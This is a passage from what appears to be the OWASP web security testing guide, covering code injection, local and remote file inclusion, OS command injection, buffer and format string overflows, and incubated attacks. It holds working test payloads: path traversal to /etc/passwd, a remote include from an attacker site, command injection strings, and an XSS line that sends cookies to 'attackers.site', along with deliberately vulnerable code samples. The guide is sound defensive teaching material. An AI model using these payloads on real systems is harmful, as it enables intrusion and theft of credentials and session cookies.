
- Arbitrary IMAP/SMTP command injection

References

Whitepapers

- RFC 0821 "Simple Mail Transfer Protocol".
- RFC 3501 "Internet Message Access Protocol - Version 4rev1".
- Vicente Aguilera Díaz: "MX Injection: Capturing and Exploiting Hidden Mail Servers" - <http://www.webappsec.org/projects/articles/121106.pdf>

Testing for Code Injection (OTG-INPVAL-012)

Summary

This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.

In [Code Injection](#) testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

How to Test

Black Box testing

Testing for PHP Injection vulnerabilities

Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:

```
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
```

Result Expected:

The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

Gray Box testing

Testing for ASP Code Injection vulnerabilities

Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:

```
<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))
```

References

- Security Focus - <http://www.securityfocus.com>
- Insecure.org - <http://www.insecure.org>
- Wikipedia - <http://www.wikipedia.org>
- Reviewing Code for [OS Injection](#)

Testing for Local File Inclusion

Summary

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

Code execution on the web server Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) *Denial of Service (DoS)* Sensitive Information Disclosure

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

How to Test

Since LFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.

Consider the following example:

```
http://vulnerable_host/preview.php?file=example.html
```

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.

Typical proof-of-concept would be to load passwd file:

```
http://vulnerable_host/preview.php?file=../../../../etc/passwd
```

If the above mentioned conditions are met, an attacker would see something like the following:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501:/home/margo:/bin/bash
...
```

Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:

```
<?php "include/" .include($_GET['filename'], ".php"); ?>
```

In the case, simple substitution with arbitrary filename would not work as the postfix 'php' is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes:

```
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
```

References

- Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
- Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Testing for Remote File Inclusion

Summary

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

Code execution on the web server Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) *Denial of Service (DoS)* Sensitive Information Disclosure

Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

How to Test

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:

```
$incfile = $_REQUEST["file"];  
include($incfile.".php");
```

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:

```
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicious_page
```

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

References

Whitepapers

- "Remote File Inclusion" - <http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion>
- Wikipedia: "Remote File Inclusion" - http://en.wikipedia.org/wiki/Remote_File_Inclusion

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Testing for Command Injection (OTG-INPVAL-013)

Summary

This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.

How to Test

When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.

Example URL before alteration:

```
http://sensitive/cgi-bin/userData.pl?doc=user1.txt<br>
```

Example URL modified:

```
http://sensitive/cgi-bin/userData.pl?doc=/bin|ls|<br>
```

This will execute the command “/bin|ls”.

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon

Example:

```
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd<br>
```

Example

Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:

```
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e
Content-Type: application/x-www-form-urlencoded
```



```
Content-length: 33
```

```
Doc=Doc1.pdf
```

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

```
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
```

If the application doesn't validate the request, we can obtain the following result:

```
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
  Doc
    11/11/2006 17:25
      Documents and Settings
        25/10/2006 03:11
          I386
            14/11/2006 18:51
              h4ck3r
                30/09/2005 21:40 25,934
                  OWASP1.JPG
                    03/11/2006 18:29
                      Prog
                        18/11/2006 11:20
                          Program Files
                            16/11/2006 21:12
                              Software
                                24/10/2006 18:25
                                  Setup
                                    24/10/2006 23:37
                                      Technologies
                                        18/11/2006 11:14
                                          3 File 32,496 byte
                                            13 Directory 6,921,269,248 byte disponibili
                                              Return code: 0
```

In this case, we have successfully performed an OS injection attack.

Tools

- OWASP [WebScarab](#)
- OWASP [WebGoat](#)

References

White papers

- <http://www.securityfocus.com/infocus/1709>

Remediation

Sanitization

The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.

Permissions

The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view

Testing for Buffer overflow (OTG-INPVAL-014)

Summary

To find out more about buffer overflow vulnerabilities, please go to [Buffer Overflow](#) pages.

See the OWASP article on [Buffer Overflow Attacks](#).

See the OWASP article on [Buffer Overflow Vulnerabilities](#).

How to test

Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.

- [Testing for heap overflow vulnerability](#)
- [Testing for stack overflow vulnerability](#)
- [Testing for format string vulnerability](#)

Code Review

See the [OWASP Code Review Guide](#) article on how to [Review Code for Buffer Overruns and Overflows](#) Vulnerabilities.

Remediation

See the [OWASP Development Guide](#) article on how to [Avoid Buffer Overflow](#) Vulnerabilities.

Testing for Heap overflow

Summary

In this test the penetration tester checks whether they can make a [Heap overflow](#) that exploits a memory segment.

Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information.


When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .ctors or TEB with the address of a malicious payload.

There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows, since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.

How to Test

Black Box testing

The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.



The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.

When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

Gray Box testing

When reviewing code, one must realize that there are several avenues where heap related vulnerabilities may arise. Code that seems innocuous at the first glance can actually be vulnerable under certain conditions. Since there are several variants of this vulnerability, we will cover only the issues that are predominant.

Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like `strcpy()` on them. The myth that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code proves to be hazardous in case of code shown below:-

```

int main(int argc, char *argv[])
{
    .....

    vulnerable(argv[1]);
    return 0;
}

int vulnerable(char *buf)
{

```

```

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);

strcpy(chunk, buf); // Vulnerability
.....

return 0;
}

```

In this case, if `buf` exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.

Lately, several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example, consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file `tnef.c` and function `tnef_message()`:

```

string = cli_malloc(length + 1); // Vulnerability
if(fread(string, 1, length, fp) != length) { // Vulnerability
free(string);
return -1;
}

```

The `malloc` in line 1 allocates memory based on the value of `length`, which happens to be a 32 bit integer. In this particular example, `length` is user-controllable and a malicious TNEF file can be crafted to set `length` to `'-1'`, which would result in `malloc(0)`. Therefore, this `malloc` would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in `malloc.h`).

And now, in line 2, a heap overflow occurs in the call to `fread()`. The 3rd argument, in this case `length`, is expected to be a `size_t` variable. But if it's going to be `'-1'`, the argument wraps to `0xFFFFFFFF`, thus copying `0xFFFFFFFF` bytes into the 16 byte buffer.

Static code analysis tools can also help in locating heap related vulnerabilities such as "double free" etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

Tools

- OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - <http://www.ollydbg.de>
- Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - <http://www.immunitysec.com/downloads/SPIKE2.9.tgz>
- Brute Force Binary Tester (BFB), A proactive binary checker - <http://bfbtester.sourceforge.net>
- Metasploit, A rapid exploit development and Testing frame work - <http://www.metasploit.com>

References

Whitepapers

- w00w00: "Heap Overflow Tutorial" - <http://www.cgsecurity.org/exploit/heaptut.txt>
- David Litchfield: "Windows Heap Overflows" - <http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt>

Testing for Stack overflow

Summary

Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. In fact almost every platform is vulnerable to stack overflows with the following notable exceptions:

- J2EE – as long as native methods or system calls are not invoked
- .NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
- PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called can suffer from stack overflow issues.

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.

How to Test

Black Box testing


The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application's execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would be to attach a debugger to the target application or process, generate malformed input for the application, subject the application to malformed input, and inspect responses in a debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case, various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed while testing an executable "sample.exe" for stack overflows:

```
#include<stdio.h>
int main(int argc, char *argv[])
{
    char buff[20];
    printf("copying into buffer");
    strcpy(buff,argv[1]);
    return 0;
}
```

File sample.exe is launched in a debugger, in our case OllyDbg.



Since the application is expecting command line arguments, a large sequence of characters such as 'A', can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.



As shown in the registers window of the debugger, the EIP or Extended Instruction Pointer, which points to the next instruction to be executed, contains the value '41414141'. '41' is a hexadecimal representation for the character 'A' and therefore the string 'AAAA' translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user-supplied values and control program execution. A stack overflow can also allow overwriting of stack-based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

Gray Box testing

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like `gets()`, `strcpy()`, `strcat()` etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

```
void log_create(int severity, char *inpt) {
    char b[1024];

    if (severity == 1)
    {
        strcat(b,"Error occurred on");
        strcat(b,":");
        strcat(b,inpt);

        FILE *fd = fopen ("logfile.log", "a");
        fprintf(fd, "%s", b);
        fclose(fd);

        . . . . .
    }
}
```

From above, the line `strcat(b,inpt)` will result in a stack overflow if `inpt` exceeds 1024 bytes. Not only does this demonstrate an insecure usage of `strcat`, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument; In this case the length of string referenced by `char *inpt`. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer `strncpy()` can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. If the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

```
void func(char *source)
{
    Char dest[40];
    ...
    size=strlen(source)+1
    ...
    strncpy(dest, source, size)
}
```

where `source` is user controllable data. A good example would be the samba `trans2open` stack overflow vulnerability (<http://www.securityfocus.com/archive/1/317615>).

Vulnerabilities can also appear in URL and address parsing code. In such cases, a function like `memccpy()` is usually employed which copies data into a destination buffer from source until a specified character is not encountered. Consider the function:

```
void func(char *path)
{
    char servaddr[40];
    ...
    memccpy(servaddr, path, '\\');
    ...
}
```

In this case the information contained in path could be greater than 40 bytes before '\0' can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer until a '\0' was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits, like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

Tools

- OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - <http://www.ollydbg.de>
- Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - <http://www.immunitysec.com/downloads/SPIKE2.9.tgz>
- Brute Force Binary Tester (BFB), A proactive binary checker - <http://bfbtester.sourceforge.net/>
- Metasploit, A rapid exploit development and Testing frame work - <http://www.metasploit.com>

References

Whitepapers

- Aleph One: "Smashing the Stack for Fun and Profit" - <http://insecure.org/stf/smashstack.html>
- The Samba trans2open stack overflow vulnerability - <http://www.securityfocus.com/archive/1/317615>
- Windows RPC DCOM vulnerability details - <http://www.xfocus.org/documents/200307/2.html>

Testing for Format string

Summary

This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as `printf()`.

Various C-Style languages provision formatting of output by means of functions like `printf()`, `fprintf()` etc. Formatting is governed by a parameter to these functions termed as format type specifier, typically `%s`, `%c` etc. The vulnerability arises when format functions are called with inadequate parameters validation and user controlled data.

A simple example would be `printf(argv[1])`. In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as `%s`, `%n`, `%x` to the application by means of command line argument `argv[1]`.

This situation tends to become precarious since a user who can supply format specifiers can perform the following malicious actions:

Enumerate Process Stack: This allows an adversary to view stack organization of the vulnerable process by supplying format strings, such as `%x` or `%p`, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.

Control Execution Flow: This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier `%n` comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.

Denial of Service: If the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of `%x` followed by `%n`.

How to Test

Black Box testing

The key to testing format string vulnerabilities is supplying format type specifiers in application input.

For example, consider an application that processes the URL string <http://xyzhost.com/html/en/index.htm> or accepts inputs from forms. If a format string vulnerability exists in one of the routines processing this information, supplying a URL like <http://xyzhost.com/html/en/index.htm%n%n%n> or passing `%n` in one of the form fields might crash the application creating a core dump in the hosting folder.

Format string vulnerabilities manifest mainly in web servers, application servers, or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases, an error reporting or logging function like `syslog()` has been called insecurely.

When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include `%x` or `%n` type specifiers. For example a legitimate request like

```
http://hostname/cgi-bin/query.cgi?name=john&code=45765
```

can be altered to

```
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
```

If a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.

If code is unavailable, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs.

Take the instance of code (1) :

```
int main(int argc, char **argv)
{
    printf("The string entered is\n");
    printf("%s", argv[1]);
    return 0;
}
```


when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.

```

IDA View-A
text:00401010 arg_4 = dword ptr 0Ch
text:00401010
text:00401010 push ebp
text:00401011 mov ebp, esp
text:00401013 sub esp, 40h
text:00401016 push ebx
text:00401017 push esi
text:00401018 push edi
text:00401019 lea edi, [ebp+var_40]
text:0040101C mov ecx, 10h
text:00401021 mov eax, 0CCCCCCCCh
text:00401026 rep stosd
text:00401028 push offset ??_C@_0BH@HGKHX@The?5string?5entered?5i
text:0040102D call printf
text:00401032 add esp, 4
text:00401035 mov eax, [ebp+arg_4]
text:00401038 mov ecx, [eax+4]
text:0040103B push ecx
text:0040103C push offset ??_C@_02DILL@?$CFs?$AA@
text:00401041 call printf
??_C@_02DILL@?$CFs?$AA@ db 25h ; %
                        ; DATA XREF: main+2C7o
                        ; _heap_alloc_dbg+BC7o ...
                        db 73h ; s
                        db 0
                        db 0
??_C@_0BH@HGKHX@The?5string?5entered?5is?6?$AA@ db 'The string entered is',0Ah,0
                        ; DATA XREF: main+187o
                        db 0
                        db 0
                        db 0

```

On the other hand, when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.



```

IDA View-A
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
lea edi, [ebp+var_40]
mov ecx, 10h
mov eax, 0CCCCCCCCh
rep stosd
push offset ??_C@_0BH@HGKH@The?5string?5entered?5is?6?5AA@ ; "Th
call printf
add esp, 4
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call printf
add esp, 4
xor eax, eax
pop edi
pop esi

```

Gray Box testing

While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.



```

C:\WINDOWS\System32\cmd.exe
C:\its4>its4.exe format_demo.c
format_demo.c:13:(Urgent) printf
format_demo.c:14:(Urgent) printf
Non-constant format strings can often be attacked.
Use a constant format string.
-----
C:\its4>_

```

The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:

```

printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf

```

There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.

Tools

- ITS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - <http://www.cigital.com/its4>
- An exploit string builder for format bugs - <http://seclists.org/lists/pen-test/2001/Aug/0014.html>

References

Whitepapers

- Format functions manual page - <http://www.die.net/doc/linux/man/man3/fprintf.3.html>
- Tim Newsham: "A paper on format string attacks" - <http://comsec.theclerk.com/CISSP/FormatString.pdf>
- Team Teso: "Exploiting Format String Vulnerabilities" - <http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html>
- Analysis of format string bugs - <http://julianor.tripod.com/format-bug-analysis.pdf>

Testing for incubated vulnerabilities (OTG-INPVAL-015)

Summary

Also often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.

Incubated vulnerabilities have the following characteristics:

- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
- Secondly, once the attack vector was "recalled" the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.

Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.

In a penetration test, **incubated attacks** can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).

This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:

- File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.)
- Cross-site scripting issues in public forums posts (see [Testing for Stored Cross_site scripting \(OTG-INPVAL-002\)](#) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
- SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [XSS-proxy](#)).
- Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)

How to Test

Black Box testing

File Upload Example

Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.

XSS Example on a Bulletin Board

1. Introduce *JavaScript* code as the value for the vulnerable field, for instance:

```
<script>document.write('document.write('<img src="http://attackers.site/cv.jpg?\'+document.cookie+'>')</script>'
WHERE notice = 'Copyright 1999-2030';
```

2. Now, each user browsing the site will silently send his cookies to the *attackers.site* (steps b.2 to b.4).

Misconfigured Server

Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn't enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).

In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site

regular users can then access (most probably with a higher degree of trust than when accessing a different site).

As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).

Gray Box testing

Gray/white testing techniques will be the same as previously discussed.

- Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisted via a "back door".
- To combat the "back door" issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.
- See the [Data Validation#Data_validation_strategy](#)) section of the Code review guide.

Tools

- XSS-proxy - <http://sourceforge.net/projects/xss-proxy>
- Paros - <http://www.parosproxy.org/index.shtml>
- Burp Suite - <http://portswigger.net/burp/proxy.html>
- Metasploit - <http://www.metasploit.com/>

References

Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.

Advisories

- CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - <http://www.cert.org/advisories/CA-2000-02.html>
- Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - <http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html>

Whitepapers

- Web Application Security Consortium "Threat Classification, Cross-site scripting" - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)

Summary

This section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages.

This section will analyze two different attacks that target specific HTTP headers:

- HTTP splitting
- HTTP smuggling.

